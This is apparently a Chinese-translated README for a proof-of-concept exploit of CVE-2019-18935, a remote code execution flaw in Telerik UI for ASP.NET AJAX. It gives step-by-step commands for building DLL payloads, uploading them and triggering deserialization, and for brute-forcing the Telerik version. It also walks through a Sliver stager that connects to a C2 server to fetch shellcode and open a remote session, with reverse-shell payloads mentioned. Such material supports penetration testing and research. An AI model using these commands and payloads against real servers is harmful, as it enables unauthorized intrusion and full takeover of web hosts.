针对 Telerik UI for ASP.NET AJAX 中 .NET JSON 反序列化漏洞的概念验证利用代码,可实现远程代码执行。
Telerik UI for ASP.NET AJAX 是一套广泛用于 Web 应用程序的 UI 组件库。它以不安全的方式反序列化 JSON 对象,导致可在软件底层主机上执行任意远程代码。更多信息请参阅:
你需要安装 Visual Studio 和 .NET Framework SDK,才能使用 build-dll.bat 编译混合模式 .NET 程序集 DLL 负载。
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
此利用代码利用了 RAU_crypto 中的加密逻辑。RAU_crypto.py 中的 RAUCipher 类依赖于 PyCryptodome,后者是已停止维护的 PyCrypto 模块的直接替代品。PyCryptodome 和 PyCrypto 在同一环境中安装会引发问题,因此满足此依赖的最佳方法是在虚拟环境中安装该模块,如上所示。
将 build-dll.bat 中的第 17 行指向你的 Visual Studio 安装路径。
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
某些负载(例如 reverse-shell.c 和 sliver-stager.c)需要你将 HOST 和 PORT 字段设置为你的 C2 服务器地址——请务必进行设置!
在安装了 Visual Studio 的 Windows 环境中,使用 build-dll.bat 生成 32 位和 64 位混合模式程序集 DLL,用作反序列化时的负载。你可以选择指定目标 CPU 架构作为第二个 CLI 参数(例如 x86)。
build-dll.bat sleep.c
将上面生成的 DLL 传递给 CVE-2019-18935.py,该脚本会将 DLL 上传到目标服务器上的某个目录(前提是 Web 服务器在该目录具有写入权限),然后通过不安全反序列化漏洞将该 DLL 加载到应用程序中。
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
在上面的示例中,应用程序至少需要 10 秒才能响应,表明 DLL 负载成功调用了 Sleep(10000)。
如 DerpCon 演讲 .NET Roulette (39:46) 中所述,我们可以通过在上传文件时仅指定 Telerik.Web.UI 程序集的 主 版本号(即完整版本字符串 2017.2.503.40 中的 2017 部分)来暴力破解 Telerik UI 版本。与逐个暴力破解该软件的每个特定发行版相比,此技术大大减少了搜索空间——而且作为附加好处,它甚至可以检测该软件发行历史中未明确列出的版本。在 MSDN 上了解更多关于 .NET 程序集版本控制的信息。
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
自定义 Sliver 阶段加载器负载 sliver-stager.c 接收并执行来自 Sliver 服务器(阶段服务器)的 Sliver Shellcode(阶段),遵循 Metasploit 的阶段协议。有关其工作原理的更多详细信息,请阅读负载源文件中的头部注释。
启动 Sliver 服务器。服务器设置的更多信息请见此处。
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
在 Sliver 服务器上打开 C2 端点(这里我们使用 mTLS 监听器,但也可以使用 HTTP 或 DNS),创建一个植入体配置文件,并创建一个与该配置文件关联的阶段监听器。有关阶段负载的更多信息请见此处。注意,我们并未像 Sliver 文档建议的那样使用 generate stager 生成 Sliver 阶段加载器,而是使用我们自定义的 sliver-stager.c。
⚠️ 警告:发送错误 CPU 架构的阶段将 崩溃 目标进程!例如,如果目标运行的是 32 位版本的 Telerik UI,而阶段服务器向 32 位阶段加载器发送 64 位的阶段,则 Web 服务器进程将崩溃。在以下示例中,我们生成 32 位 Shellcode——但你必须使用 new-profile 命令的 --arch 标志将其与目标的 CPU 架构匹配。
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
在 Sliver 阶段加载器源文件中设置主机和端口,指向 Sliver 服务器(下面显示一个示例服务器)。
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
编译 Sliver 阶段加载器负载,并将负载上传到目标并加载到应用程序中(全部按照本 README 前面的“用法”部分进行)。
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
如果一切顺利(你已对该目标进行过故障排除吗?),你将在 Sliver 服务器窗口中看到一个已创建的会话,可用于与目标交互。
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC